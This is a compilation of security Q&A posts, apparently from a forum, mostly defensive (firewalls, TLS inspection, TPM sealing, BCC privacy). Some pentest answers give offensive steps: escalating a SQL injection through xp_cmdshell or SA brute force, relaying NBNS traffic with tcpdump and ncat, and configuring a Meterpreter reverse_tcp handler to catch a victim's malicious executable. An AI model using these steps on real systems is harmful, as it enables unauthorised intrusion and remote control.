Do I need Gateway Firewall for IoT network? Do I need a gateway firewall to prevent attacks like DoS, if my IoT network can only talk to cloud using IPsec?

Even if  there is need that can be implemented at cloud. Is there any need for it to present in IoT network?

Yes, you still need a firewall on your end. In the case of a DoS/DDoS, your connection would potentially be flooded to the point where your devices would not be able to establish the IPSEC tunnel and would therefore not function [properly].  If the firewall only exists on the cloud side, that does nothing for your service at your house/office.

A DoS/DDoS attack will probably not be stoppable no matter what equipment you have since it's happening at the connection level.  Typically with a DoS/DDoS you deal with it further and further up the path as close to the source as can be.  For example, you call your ISP so they can block it from getting to you, then they call their provider to have them block it before it gets to them, and so on.  It can only be blocked so much before someone is left to take the hit but that's usually at the backbone level where they have more than enough bandwidth to deal with it until it is dealt with by other means (like finding the people causing it and stopping the attack).


The most secure way to handle someone forgetting to verify their account? Suppose we send out email verification to new subscribers that where they have to click on a link to verify their account.

Suppose they forget to verify it, and later try to login.

Should the error message say "Your user name or password is incorrect?", instead of letting them know that they have forgotten to verify the account.

I assume this is the most secure way of handling it, because if we tell them that they have to verify the account, we are letting them know that an account with that userid exists ...

Thoughts?

Perhaps the best way to handle it is to allow them to access the account, but don't let them do anything in it until they are verified?

What I see most commonly is allowing the authentication and signing the user in, but locking meaningful features away until the email is verified. You should bubble up an error reminding the user to re-send an activation email if they try to access one of the restricted features.

It is poor design to ever lie to a user - if they submit the correct username and password, you should never show an error claiming that either is incorrect.


How does IPS terminate/decrypt encrypted traffic? With regards to IPS, I am not completely across how they are supposed to terminate or decrypt encrypted traffic? It makes absolutely sense to deploy them inline, but how is traffic supposed to be broken up so it can be inspected? Is this working similar as any CASB infrastructure that would be put in place?

There are four ways an IPS can deal with encrypted traffic:

An IPS can act as a TLS interception proxy, where it becomes a man-in-the-middle for the TLS connection. This requires you add a root certificate created by the IPS software to your root trust store, or every encrypted website you try to visit will give a connection error. This allows an IPS to monitor the contents of encrypted traffic transparently, with some exceptions. This can be risky if the IPS software is insecure or untrusted, as you are delegating all trust to it.
An IPS can take the loss and analyze whatever it can without needing to decrypt the traffic (for example source and destination IP and port, traffic analysis-based heuristics, TCP header information, SNI, etc). This is of course less thorough inspection, but it does not rely on each client behind the IPS to install its custom TLS certificate, which can be a security risk.
If the software is integrated with the application using encrypted connections (which is possible if the IPS is running on the TLS endpoint itself, rather than on a separate hardware firewall), it can inspect the encrypted traffic after it has already been decrypted. This has the benefit of not requiring TLS interception while still being able to read encrypted traffic, but has the downside of only working with supported applications, and needing to run on the endpoint.
Any encrypted traffic can simply be blocked. This allows the IPS to read most traffic and deny that which it can't read, but at the expense of usability. However, an unauthorized entity can still communicate by using a non-standard or obfuscated encrypted protocol that the software is unable to understand. Using protocol whitelisting is not a solution either, since it would be possible to send encrypted data in the contents of an HTML page over plain HTTP.

As for terminating an encrypted session, that is easy. TLS is on a different layer than TCP (in the OSI model, TLS is layer 6, whereas TCP is layer 4). That is, TLS is encapsulated within the TCP connection and does not encrypt TCP-related information at all. In order to tear down a connection, all the IPS has to do is send out an RST. Once the TCP connection is dead, so is the TLS session.


What should a client verify after getting a client certificate? I have a client that generates a csr, sends it to a server, the server then sign it and return the certificate as a String.
the String is then decoded to a x509Certificate (using Bouncycastle's PEMParser) which is then imported to the client keystore.

The questions are:

Should i verify/validate anything before importing the given client certificate? Either as a String (encoding? pre/postfix?) or as a certificate?
I guess i can check that the certificate really originated from my csr (from my public key).
I'm not sure i can validate that the signing authority is trusted by me (I think it's not necessarily the case if a different CA is used for signing the client's certificates and it's not necessarily trusted by the clients).
What risk am i introducing by not verifying/validating anything on it? I can't think of any attack.

Thanks!

Technically your certificate is not for you. You have a certificate so you can show it to other people; it is meant to convince them, not you. You don't necessarily trust your own certificate.

As a safeguard against bugs, you may want to check that the public key in the certificate matches your private key: if the CA fumbled (badly) and sent you the wrong certificate, then you want to know it early so that you may complain and start the procedure again. Similarly, CA often send certificates back with a chain, i.e. all intermediate CA which are normally used to validate the certificate. Since a very common format for that is PKCS#7, in which the certificate are unordered, your code must make sure that it imports the right certificate in the bunch.

Attacker's power in such a process is that of nuisance: depending on the communication channels between you and the CA, he might replace your certificate with junk bytes, or another certificate with a different name or public key. Such a certificate would not be valid, and lead to simply things not working. Generally speaking, you want to diagnose such occurrences early.


Cloud computing: future security challenges and solutions I am currently writing a paper on the future security challenges of Cloud Computing, and possible solutions to these problems. After many hours of reading articles on the internet (my nearby library have no books available at the moment about the subject) I have certainly learned a lot, but also gotten a lot more confused about what I actually want to include in my paper. Since the theme/area of Cloud Computing is so broad: from services offered to private people vs big businesses - which require different security according to use and data stored etc. But also all the different types that are offered: SaaS, PaaS and IaaS... Private vs hybrid vs public cloud.

My problem might be that I am not very heavy on the tech-knowledge - and many articles seems to either target possible cloud customers(very reassuring about the security of the service) vs posts written and probably targeted on people whom know a lot about this technology and security from before. And I would need something in between that:)

Some of the challenges that I have listed so far are:

Multitenancy & multi-instance architecture: several people/businesses storing their data or applications in the same place - keeping this separate
The possibility that the cloud provider may give access to their customers data to law enforcement institutions, the government etc. Challenge lies in trust, law, agreement between provider and customer..
More Data (possibly very private/confidential) in transit: network technology
Encryption: to effectively search through the data in the cloud this requires unencrypting it - which gives the cloud provider(and possible attackers or instances with ability to effect the provider) to access the data
Identity and access management: Some data should maybe be accessible to outsiders/customers/collaborateurs, while other data should stay confidential
Hypervisor security
Overall big issue: People/businesses no longer in charge of their own data, applications etc... Standard agreements, standards etc for the customer to know what to expect from the provider

So my questions are:

Any recommended articles/pages/blogs to read about the topic
Any important/interesting points I have not included here that might be worth to take a look at
Pages/research or available products that solve or hope to solve in the future any of these challenges

Of solutions I have found so far there is things as Dome9 for cloud firewall management, homomorphic encryption.. So any tips/keywords on this would be amazing!

Sources I have looked at:

Cloud Security Alliance Blog
Bruce Schneiers Blog
Wired: Cloudline Blog
IBMs pages with products
IBM Institute for Advanced Security Expert Blog

+++ other articles and sites that comment upon the subject

:)

There's a wide range of issues that you could include in a cloud security paper.  One that I've come across which I think will be the cause of a fair number of problems is the way in which security mis-configuration is exposed to the Internet, and therefore may have a higher likelihood of being exploited.

In a "traditional" network, there's limited visibility of security misconfiguration (eg, missing patches, access controls incorrectly configured, default credentials), and as such there's a lower likelihood of those issues being exploited.  This isn't to say that those issues are "ok" in any way just that thy're somewhat hidden from general attackers.

Looking at cloud setups, in some cases a single misconfiguration can be catastrophic from a data security standpoint.

As an example look at companies using Amazon S3 as their main storage for their applications.  If the S3 ACLs are done incorrectly it can be possible for people to access any data in that bucket.  Also access is controlled by a static API key as well as a username/password pair.  If either of those credentials is compromised, again all the data stored on that system is potentially at risk.


How does JDBC send passwords to the server? I am really curious about how JDBC sends passwords to the server. While I understand that is simply an API and it depends on the implementation, are they usually hashed and then sent to server?

If I could see the password in plaintext using a tool like wireshark, does it mean that its because of poor implementation or its just the way JDBC works?

Can anyone give me an example with any db vendor? Say MySQL JDBC driver or Postgres JDBC driver?

JDBC is a Java API. It uses JDBC database drivers to actually communicate with database servers. These drivers may or may not support TLS.

The PostgreSQL JDBC driver supports TLS: https://jdbc.postgresql.org/documentation/94/ssl.html

So, it would connect to the database server using TLS, then send the username and password to authenticate. You would not be able to see the password using Wireshark.

PostgreSQL also supports "pass the (md5) hash" style authentication but it's not recommended. This would hash the password with md5 on the client and send it to the server.


How does this possibly malicious phishing email link work? I got a phishing email from a supposed realtor that wanted me to click on the following link

http://wonderit.net/f%23$%25%5e%29%28*%5e%25$%25%5eamg*&%5e%25$%23$%25%5e/

which I decoded as:

http://wonderit.net/f#$%^)(*^%$%^amg*&^%$#$%^/

I was curious about the URL query or command because I haven't seen one like this before. Can someone explain to me how this malicious link works? Is f#$%^)(*^%$%^amg*&^%$#$%^/ an encoding of some sort? Or is it something designed to attack this server? Is it a bash script or some other command?

  PS. Of course, I haven't tried to open the page at all

The actual page requested would be http://wonderit.net/f, since anything after # would be interpreted by the DOM. That page returns HTTP status 406 with or without the hash mark and everything following. The site itself appears to be broken, so it's unlikely we can find out now what the intended result would've been.


OpenSSL fails NIST AES-128-ECB test vectors? I'm having trouble getting OpenSSL's ciphertext to match the NIST test vectors.

Example : in "ecb_e_m.txt" from http://csrc.nist.gov/archive/aes/rijndael/rijndael-vals.zip, the first test is (in hex)

Key        = 00000000000000000000000000000000

Plaintext  = 00000000000000000000000000000000

Ciphertext = C34C052CC0DA8D73451AFE5F03BE297F

I save the plaintext (in binary) to a file called pt, and run

openssl aes-128-ecb -nosalt -K 00000000000000000000000000000000 -p -nopad -in pt -out ct

Upon looking at the contents of ct, it contains

66 E9 4B D4 EF 8A 2C 3B 88 4C FA 59 CA 34 2B 2E

What am I doing wrong?

I have used the 128-bit ECB test vectors from this page : http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors#aes-ecb-128, and the ciphertext OpenSSL generates for these DOES match the given ciphertext.

The ecb_e_m.txt file is for "Monte Carlo Tests". These are described in the accompanying katmct.pdf file, section 4:

  Each Monte Carlo Test consists of four million cycles through the candidate algorithm implementation. These cycles are divided into four hundred groups of 10,000 iterations each. Each iteration consists of processing an input block through the candidate algorithm, resulting in an output block. At the 10,000th cycle in an iteration, new values are assigned to the variables needed for the next iteration. The results of each 10,000th encryption or decryption cycle are recorded and included by the submitter in the appropriate file.

So if you use key K = 00...00 and begin with text T = 00...00, then encrypt T, then encrypt again the encryption result, then encrypt again, and so on, until 10000 successive encryptions have been done, then you obtain the value in the NIST test vector (C3 4C 05...). (I confirm this value with my own code.)

The command line you give, with OpenSSL, performs only one encryption, and yields a distinct result, the one you obtain (and which I can confirm, too, with my own code).


Sqlmap fails at enabling xp_cmdshell procedure I have been browsing the web looking for some help regarding the following issue. I am currently performing an web application penetration test, and I had come accross a beautiful blind SQL Injection.

Using sqlmap, I am able to retrieve the whole database. I would like to jump into the OS level, by using the xp_cmdshell functionality, which is currently disabled on the database. The application is running with the "sa" account, so it should be technically possible. However, when I get the following message when I try to enable it using sql map :

[12:14:22] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[12:14:23] [WARNING] xp_cmdshell re-enabling failed
[12:14:23] [INFO] creating xp_cmdshell with sp_OACreate
[12:14:23] [WARNING] xp_cmdshell creation failed, probably because sp_OACreate is disabled
[12:14:23] [CRITICAL] unable to proceed without xp_cmdshell

Some system information:

web server operating system: Windows 2012
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008

Does anyone know how I can solve this?

You could try passing --priv-esc to sqlmap,  and this may raise your privileges,  but this has never worked for me.  sqlmap's file system access functions could lead to a greater compromise.

SQLNinja is better at privilege escalation.  One attack that it supports is simply brute forcing the SA password using SQL injection and I have found this to be quite effective.  SQLNinja also contains other known privilege escalation exploits such as CVE-2010-0232.


TPM with the three main groups of functions I’m a little unclear on this (marked strong):

"The public key authentication functions provide for on-chip key pair generation using a hardware
random number generator, along with public key signature, verification, encryption, and decryption.
By generating the private keys in the chip, and encrypting them anytime they are transferred outside
the chip, the TPM guarantees that malicious software cannot access the keys at all. Even the owner of
the keys cannot give the private keys away to phishing or pharming attacks, as the keys are never
visible outside the chip unencrypted. Malicious code could use the private keys on the TPM, so some
way needs to be provided to ensure that malicious code cannot use the keys either. "

"The integrity measurement functions provide the capability to protect private keys from access by
malicious code. In a trusted boot, the chip stores in the Platform Configuration Registers (PCRs)
hashes of configuration information throughout the boot sequence. Once booted, data (such as
private keys) can be “sealed” under a PCR. The sealed data can be unsealed only if the PCR has the
same value as at the time of sealing. Thus, if an attempt is made to boot an alternative system, or a
virus has “backdoored” the operating system, the PCR value will not match and the unseal will fail,
thus protecting the data from access by the malicious code."

"The attestation functions keep a list of all the software measurements committed to the PCRs,
and can then sign them with a private key known only by the TPM. Thus, a trusted client can prove to
a third party that its software has or has not been compromised."

Please a small example for each would be appreciable.thanks

the TPM guarantees that malicious software cannot access the keys at all. Even the owner of the keys cannot give the private keys away to phishing or pharming attacks, as the keys are never visible outside the chip unencrypted.

The TPM never allows these private keys to be exported. The keys are said to be bound to the TPM. This means that the only way to sign something with one of those keys is to use the computer to send a request to the TPM. An attacker who wants to make use of those keys has to access the computer actively. They can't make a copy of the key and use it offline, even with the cooperation of the legitimate user (who could have been tricked).

Preventing passive attacks means that the attacker needs to obtain and keep a foothold on the computer, which gives more chances that they'll be detected. It also means that if the administrator find and closes the attacker's backdoor, then the attacker loses access to the keys. They can still use the signatures they've already generated but not make new ones new data. (It would be best to repudiate the keys nonetheless, of course.)

  Once booted, data (such as private keys) can be “sealed” under a PCR. The sealed data can be unsealed only if the PCR has the same value as at the time of sealing.

Sealing data means to encrypt it (and possibly authenticate it) with a particular key. If you have some sealed data, the only way to recover the data is to obtain the key that was used to seal it. The keys that are discussed from this paragraph are derived from a key that is bound to the TPM and from the PCR values, and not stored anywhere¹. The only way to find a derived key is to use the same key derivation algorithm with the same inputs. Since one of the inputs is a TPM-bound secret, it's impossible to derive the same keys outside the TPM. Since another input is the PCR values, and the TPM is only willing to perform the key derivation using the current contents of the PCR, it's impossible to derive the same keys unless the platform is in the same state (as defined by the PCR values).

  The attestation functions keep a list of all the software measurements committed to the PCRs, and can then sign them with a private key known only by the TPM. Thus, a trusted client can prove to a third party that its software has or has not been compromised.

The PCRs contain software measurements, which basically means a hash of the code images that run on the computer (the BIOS, the bootloader, the OS kernel, etc.). If the PCRs have a given value, this proves that the computer is running a particular code image (assuming that there are no bugs in the software or the hardware that could have caused the PCRs to be inaccurate or incomplete). The TPM can generate an attestation, which is a signed message containing the PCR values and additional data. The signing key is bound to the TPM. Given an attestation with a valid signature, this guarantees that the signature was made on the computer with the TPM that possesses the private key, at a time when the PCR had those particular values.

¹  Unless it's been exported for backup. Unlike signing keys, encryption keys are often not actually device-bound, because there has to be a way to recover the data if the device is damaged.


Should I keep to HDDs for sensitive data? It appears that in many cases, there is no way (short of physical destruction) to securely delete data from an arbitrary SSD. Unfortunately, I do not know how an individual (not a business) can destroy a drive without violating HAZMAT laws.

Should I just stick with HDDs? I know I can erase those securely.

Either way there are risks, but the best solution is to use full-disk encryption.

With SSD's, there is the risk of data that is left readable by technical tools in areas of the drive that have been removed from service by wear leveling.

But the same thing applies to hard disk platters, which likewise "house keep" in this fashion.

I am not aware of any physical destruction issues that would apply only to SSD's that would not also apply to modern hard disks (which have circuit boards, flash chips, etc.

It seems to me the solution is to initialize the SSD (or physical platter hard disk), out of the package, with your favorite secure full disk encryption software; and rely on the security that provides.  If you want further assurance, then there are services that will reliably grind used hard drives into metal, plastic and epoxy confetti.


Vulnerable Java applications? I am looking for some open source/free vulnerable Java based applications. It can be web application, desktop application or any other. I need them to do some experiments in my research work. They could be very small or medium size but it's nice if it is like real world application.

The vulnerabilities may include XSS attacks, accessing unauthorized data, SQL-injection etc.

I already tried OWASP applications but need some more. Could somebody please suggest where can I find such vulnerable/exploitable Java applications?

If you are new to hunting I recommend starting out with WebGoat or Damn Vulnerable WebApp (DVWA).  This is because it frames each vulnerability nicely,  you just have to point and shoot.  You can practice exploitation, and working with a real vulnerability. "The shooting range"

There are real applications that where intentionally written to be insecure (Like the Hacme series, which is under SASS Tools).  The Dojo has a collection of these apps loaded onto a VM as well as tools to audit them.  This is really the 2nd step because now you have to find where to shoot. "Hunting on the farm"

The 3rd step is going out and finding a real application.  Search github/sourceforge/bitbucket/ect for web applications that are less than a year old and aren't that popular.   These apps will vary,  but most often then will be very insecure. "Hunting in the wild"

After that start working your way up to more popular applications,  get CVE numbers,  write exploit code, and explore newly developed exploitation techniques: exploit-db.com .  "It gets more wild..."


Where can the Group Transient Key be found by a client after the WPA2 4-Way Handshake? I am undertaking a project that looks into the ‘Hole 196’ exploit found in WPA2. I am attempting to uncover the current Group Transient Key that my AP is using in an attempt to use it myself to encrypt packets. I am connecting to the AP using Kali Linux VM with a USB wireless adapter but have no idea how the key could be accessed.

So, what about a little research?
Here's your primary ressource: 802.11i-2004. If you can't find the Group Transient Key in that document, it's because that is commonly called Group Temporal Key.
The answer to your slightly imprecise question "Where is the GTK located?" is basically, inside the Supplicants, after getting it from the Authenticator.
These roles are described in the standards document linked above.
The hierarchy of who generates what key from which secret is probably most concisely defined in 8.5.1.3.
EDIT
With your edit:

I am connecting to the AP using Kali Linux VM with a USB wireless adapter but have no idea how the key could be accessed.

Ask your WPA supplicant.
Depending on how you set up things this is, most likely, kept by wpa_supplicant. You can run wpa_supplicant with the -dd -K to enable a lot of debug output, and to include Keys in that.
Note that "how do I use wpa_supplicant" is not really on-topic here.


What attack requests "wp-admin" URLs without login cookies? Looking through my Apache log files ("combined" log file record format), I see a large number of requests for URLs ending in "wp-admin". This is pretty weird, as my server doesn't run WordPress. I also have a 404 document that's a PHP program that records $_REQUEST, $_SERVER, $_COOKIE and $_FILES. I have apparently deleted a bunch of that output, but in what I have retained, none of the requests for "wp-admin" URLs have WordPress login cookies.

As near as I can tell, this is some new attack, I don't have record of it from last summer.

What's going on here? A real WordPress installation just redirects to the WordPress login. An unconfigured WordPress just gives an error message.  What on earth can you figure out from this information?

UPDATE: add extra information requested by an answerer. This is from a "typical" probe.

Complete requested URL: http://stratigery.com/wp-admin/

No cookies, not even the "wordpress_test_cookie" that WordPress' wp-login.php sends with its initial login screen HTML, HTTP GET, no GET parameters. No User-Agent string. Connection: Close.

p0f says it comes from "Linux 2.6 (newer, 10) (possibly Ubuntu 11.04)".

In other such requests, the URL may end in /blog/wp-admin/, /wordpress/wp-admin/ or /wp/wp-admin/. and in a very few cases, /wordpress/wordpress/wp-admin/. Every such request shares the lack of cookies, no User-Agent string, GET method, and no GET parameters on the URL, along with "Connection: Close". I'd have to do some time consuming work to get a sender TCP port number range, and a better collection of what p0f thinks that the sending OS is.

Without knowing the complete requested URL (and any post or get vars) it is impossible to say for sure.

There are numerous things they could be trying. It could as Gray suggests someone carrying scans to ascertain which domains are running wordpress (however getting this information from Google would be a much easier prospect).

Another possibility is that someone has misidentified your domain as running wordpress (has it ever used wordpress?). They could be scanning your site using something like wpscan. If wpscan is being used I would expect many other requests around the same time looking for other files (for example the plugins folder).

As you suggest they could also be looking for a specific vulnerability. However without knowing what scripts they are trying to reach and if there are any post or get vars then it wouldn't be possible for us to ascertain this.


When paying for something on line, is paying with a checking account less risky than paying with a credit card? If I purchase something on line and am given the choice to pay with a checking account (also known as a current account) or a credit card, is the risk of my checking account data being stolen and used fraudulently less than if I pay by credit card?  This is for scenarios such as if entry of my information is intercepted through a keyboard logger, or if the site stores my information and is then hacked, is it more difficult for the thieves to take the checking account information to make a fraudulent purchase than it would be to do so if they obtained my credit card.

In regards to your specific question, which is safer technically depends on the site and how they implemented their security.

That said, the credit card is a safer bet from a recovery standpoint. If your banking details are compromised, the attacker can drain your entire checking account, and there's very little recourse to get that money back. However, if your credit card details are stolen, you aren't liable for the fraudulent charges made, the credit card company is.

This answer applies to the US, where the FTC mandates the following protections:

Credit card fraud liability cannot exceed $50.
Debit card fraud liability is $50 if reported within two days of fraudulent charges.
Debit card fraud liability is $500 if reported within 60 days of fraudulent charges.
Debit card fraud liability is max if reported after 60 days or not reported at all.


jsp malicious file upload is possible, but no exploit scenario, should I report it? I was pen testing a java web application, I could upload a malicious JSP file which was generated using METASPLOIT, however, I could not put the JSP file in the server directory so that it can be executed and a web shell session opened.

However, I do not know if the attacker could somehow exploit such file.

Should I report it as a vulnerability and ask the developers to scan the file before uploading or I just ignore it?

The fact that you can upload a JSP file is in itself not a vulnerability.

Particularly, if the file contents are put in a database there is no actual JSP file on disk. Therefore, it can't be placed in the webroot and it won't be executed.

If the file is written to disk and you can put it in an arbitrary location, there is a risk. If you failed to exploit this because you don't know the path of the webroot, for example, someone with more time and knowledge may succeed in exploiting it.

I wouldn't advise scanning uploaded files for JSP content. If there is no way to put the uploaded file in the webroot there is no risk.


penetration testing: NBNS response on different network I have a (test) setup where I want to respond to NBNS broadcasts. The clients sending out the broadcasts are on a different network. I can sniff the traffic using a pivot host on this network. So far I have not found a way to respond to the requests using Responder or Metasploit.

Is there any way to listen/respond to NBNS requests on a different subnet/network? If yes, how can I set this up?

since both responder.py and metasploit listen on your host machine for the broadcast nbns packets you need to fool them into thinking they are part of your own network. (assuming the responses are created as udp sockets, otherwise you will need to change that code too)

the way i would trick them is by using tcpdump with a nc on the remote machine and stream it directly into the interface using tcpreply.

you need to forward a port from the remote host back to you, this should be pretty easy using the metasploit port forward, you need to bind a local port to the localhost on the remote machine.
inside metasploit:

portfwd -l 1234 -p 1234 -r 127.0.0.1

afterwards you need to use ncat and tcpdump on the remote machine so that nbns traffic will be forwarded back to you (notice that the filter should remove the packets you will be injecting, otherwise you will have a loop):

tcpdump -i [interface number] -vv -s 0 port 137 and ether host ff:ff:ff:ff:ff:ff|ncat -l 127.0.0.1 1234

and then you need to inject it into your own interface, nc is used to stream from the ncat on the windows host and tcpreply is used to inject the packets:
    nc 127.0.0.1 1234|tcpreply -i lo -

and run your metasploit/responder.py on the lo interface.


Bcc list of an exchange server email accessed by someone who was forwarded the email An email was sent from our MS Exchange server and the addresses were listed in the bcc area.  This email was forwarded to another person who was able to somehow extract the bcc list and email everyone contained in the list.

Can you tell me how this might have been done and how to best prevent it in the future?  Or could you please provide a resource that would provide this information.  I'm concerned about sending any additional emails knowing that the bcc is not secure.

The whole idea of BCC is to not disclose any BCC recipients to each other. An email program whose sent mails allow the recovery of BCC recipients is terribly broken.

The Exchange Online docs also confirm that they don't intend to forward addresses in BCC:

  Bcc recipients are stored in the message in the sender’s mailbox, but not included in headers of the message delivered to recipients.

Ideas about what could have happened:

Did you use BCC correctly? It only hides the list of BCC recipients. Any addresses in the TO and CC fields will be disclosed to everyone who received the mail, regardless which field they're in themselves. (That is, a BCC recipient will know who was in CC.)
Did you use any email encryption system? There is some research, for example in this Stanford paper, on how numerous encryption systems completely expose BCC recipients due to their encryption mechanisms.
Does the person who accessed the recipients have access to the mail server or its traffic? The messages to BCC recipients are visible in the traffic and server logs just like any other emails.

To investigate the problem further, you could send a test mail with you and someone else on BCC, and inspect the raw email data to see if there are any hidden headers indicating the BCC recipients.

If you only have a small number of BCC recipients you might prefer to first send the message to all disclosed recipients and afterwards forward it to everyone else individually.


Meterpreter session over VPN I have the following situation:

Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled.

Victim machine connected to another router, (obviously) different IP assigned from different ISP.

I want establish a meterpreter session with reverse tcp. I create payload executable with msfvenom giving public IP of attacker router as LHOST parameter, then I start the listener setting the local IP of attacker machine as LHOST.

Till here no problem.

I tried to do the same with the attacker machine connected to a self made VPN server with no success. Is possible to do this?

If so, which IP addresses I have to set both in payload and in listener to get it working?

If you are using a reverse shell, you need to set LHOST with the attacker VPN IP, not your internal LAN IP. Also you need to listen locally with Metasploit to a specific port that you should set on LPORT and must be the same of msfvenom (es. 443). To achieve this you can use:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_vpn_ip
set LPORT your_local_port
exploit

Then just wait the victim open your malicious executable file


Possible Hijacked Email Server MAILER-DAEMON notices are spamming our email administrator account, causing it to fill up, and bringing down our email server.

Our email server is a Virtual FreeBSD box hosted by Verio.  Their support has been useless.  I am not very familiar with FreeBSD, and because it is a virtual private server, I don't have wheel access.

Could someone who is familiar with FreeBSD and email headers please let me know whether this looks like spam coming from outside the server, or if perhaps a client machine has been hijacked and is causing all the trouble.

http://pastebin.com/UCUpgMNF

The pastebin file is an example of the notices we are receiving.  In the file I changed our domain to {DOMAIN.com}, and our IP address to {IP.ADD.RE.SS}.  We are receiving about 30+ of these notices every minute. The list of email addresses are different in each notice.

We have offices in 3 locations and our IT guy was injured in an automobile accident this morning, so I'm just trying to narrow down the cause of the problem.

Any help would be appreciated.

The first thing I'd look at is, "Is my mail queue full of messages?"

Received: from localhost (localhost)
    by {DOMAIN.com} (8.12.11.20060614/8.12.11) id q0ANsViM026627;

Finding that at the top of your mail headers where your server says it came from localhost doesn't look good for you.

Mail headers showing the path history of a message are appended to the top of a message. If you happen to see a series of Received: lines, read them from the bottom up.

It's common to fake to / from, etc., but a Received line will always give up the last server IP talked to.


Dual Linux System with Whole Disk Encryption (This is a continuation of my question on Ask Ubuntu.)

My goal is I want to have a Xubuntu/Ubuntu dual boot, with a catch - I want the disk to be fully encrypted with the dm-crypt (native supplied) whole disk encryption. Now I know, out of the box the ubuntu installer is not going to make this simple for me, and maybe this is not doable, because I am not sure I can ultimately trick the tools into creating the two different initrd configurations for each root filesystem.

So questions:

Has anyone done this before and is there a simple way I am missing to do this?

Given (1) is a negative...

Should I create separate base encryptedf volumes for each
installation (xubuntu/ubuntu) or should I just create 1 encrypted
volume and separate install partitions inside it? I am leaning
toward the latter to make the process simpler. However I am not sure
how the boot loader will handle this.
Once I get the first laid in, if I go with 1 encrypted volume, how
do I decrypt it and install the second distro (and get the boot
loader, initrd, etc updated properly)?

Thank you... Any insight is appreciated.

You should create a single volume if you want the same password(s) to be valid for both installations, or two separate volumes if you want different passwords. In other words, create as many separate volumes as you need separate sets of authorized users.

The kernel and initrd of both installations need to be outside the encrypted volume. From a security perspective, it doesn't matter whether you keep the two /boot volumes separate or not.

If you do trusted boot from a TPM, watch out that the non-primary OS is also integrity-protected; I think in that case you should keep the two installations separate and register them independently with UEFI (but I don't have experience of UEFI to tell you what to watch out for).

Note that you may not need dual boot at all. You may well be able to implement your desired security policy by issuing separate accounts or by creating separate virtualized containers, each with its own root users.

See my answer on AU for the more technical aspects.


What countries are at highest risk of espionage on personal devices? When co-workers travel internationally for business there seems to be risk of bringing a regular work laptop to some countries: the risk is that the government might try to spy on the dta stored on your device.

The one's that immediately come to mind is China / N Korea.

Is there a list of countries where this risk is highest?  Is there a list of countries where it is recommended to take a 'burner laptop'?  I am hoping for a list that is relevant to a US-based business.

Assuming you have a basic level of Cyber Security measures e.g. ecrypted hard drives, decent user name and password rules, encrypted VPN tunnels etc. I would say there are a number of issues to consider.

Content on the laptops - is this commercially sensitive,
nationally sensitive, any export controls applicable. Effectively who would be interested in the data and what skills / resources do they have at their disposal?
Your business - what it is you do and how that can be seen in
different cultures - are you at risk of industrial, national espionage or from hacktivism.
The legality of your "standard" IT Security Solution in the country of destination - I believe some countries (especially middle east) have a big problem with encryption and prohibit any encrypted communications.
Your level of risk acceptance based on the country of destination. E.g. do you mind if the US authorities exercise their right of search of your device and would you be happy to provide any decryption codes to the border staff before the laptop is taken away for investigation?

A multinational company I work closely with all laptops have HDDs which are high level encrypted and where remote access is authorized it is via VPN but only with RSA tokens has a list of "home" countries where standard laptops  can be taken, this is essentially all the countries the company has a major presence (except USA). Outside of that the user "should" contact IT and obtain a loan laptop there are 2 levels "amber" and "red" based on Security advice on the country of destination.

"Amber" is for relatively friendly countries where for business purposes a clean laptop is taken (so a fresh internal build) with only files needed for the business trip are taken, these can connect via vpn back home and essentially work similar to the traveler's normal laptop. The issue here is to minimize risks from data loss, export offenses etc, whilst maintaining a good level of access

"Red" is for particularly risky countries where data intercept is to be expected these include China, Russia or where encrypted VPNs are banned in law. These laptops are very basic with fresh installs of base windows with basic office software, public email, internet access and only approved files may be loaded on to them (e.g. pre-cleared presentations), these "red" devices have no way of 'phoning home' and will be wiped on return and once being marked as a "red" laptop they will remain "red" until they are finally shredded (literally).

I have heard some organizations which have a process in place to counter the risk of border security searches e.g. in the US by having a process where the device is encrypted before travel and critically the user does not know the decryption code so is unable to login. That is only disclosed once the traveler gets through immigration the process is printed and the traveler can show that to immigration staff and apparently that gets round the right to search non US citizens, but not being a lawyer I'm not sure how true this is.


Why do we still use the terms SSL and HTTPS? Since TLS is preferred over SSL, why do we still use the terms SSL and HTTPS generally?

The former could be anecdotal, but most people I speak to still say SSL in general conversation. The term HTTPS is more objective, since that means HTTP over SSL.

Why don't we say HTTPT (HTTP over TLS) and use the scheme httpt://?

Huge effort. Little technical return.
Introducing a new scheme (schemes are e.g. http://, https://, ftp://, etc.) and deploying it would mean breaking backwards compatibility. Not worth it.
Political rather than technical
Ivan Ristic devotes some sentences in the introduction to his book to this.
The book is called Bulletproof SSL and TLS. You've got both the "SSL" and "TLS" right in the title. (Go figure.)
The introductory chapter is free online. The naming controversy is mentioned in section "SSL versus TLS" (page xix) and section "Protocol History" (page 3).
It seems the whole reason for renaming from SSL to TLS was political rather than technical. Ristic's footnotes link to the blog of Tim Dierks. Dierks wrote the SSL 3.0 reference implementation in 1996 and this is his take on the naming:

Tim Dierks, 2014-05-23, Security Standards and Name Changes in the Browser Wars (archived here):

As a part of the horsetrading, we had to make some changes to SSL 3.0 (so it wouldn't look [like] the IETF was just rubberstamping Netscape's protocol), and we had to rename the protocol (for the same reason). And thus was born TLS 1.0 (which was really SSL 3.1). And of course, now, in retrospect, the whole thing looks silly.

Further reading

Here's another take on the naming. It's by Mike McCana (who operates a CA himself):
Mike McCana, CertSimple.com blog, 2016-01-05, Why do we still say SSL? (Archived here.)


How reliable are Whois records? Can they be faked, and if so, how easily? Let's say I look up a domain on WhoIs and see that the Registrant Organization is Example Company. How sure can I be that the domain actually belongs to Example Company? Can a malicious actor just say they are working on behalf of Example Company when registering, or are there stringent checks?

You could technically file false WHOIS data on your own, and so long as no one on the whole Internet has a reason to contact you, it could go unnoticed for a long while.
However, the moment someone makes a good-faith attempt to reach you via the fake info and fails, things get very interesting indeed. If the contact attempt was for legal (e.g. trademark infringement claim) or technical (e.g. you somehow managed to create a domain resolution loop or something similar) reasons, it's a safe bet your registrar may be compelled to de-register your domain immediately. Since such a situation could arise at any time, your domain would be perpetually at risk, and you'd have no recourse...because you were not contactable.


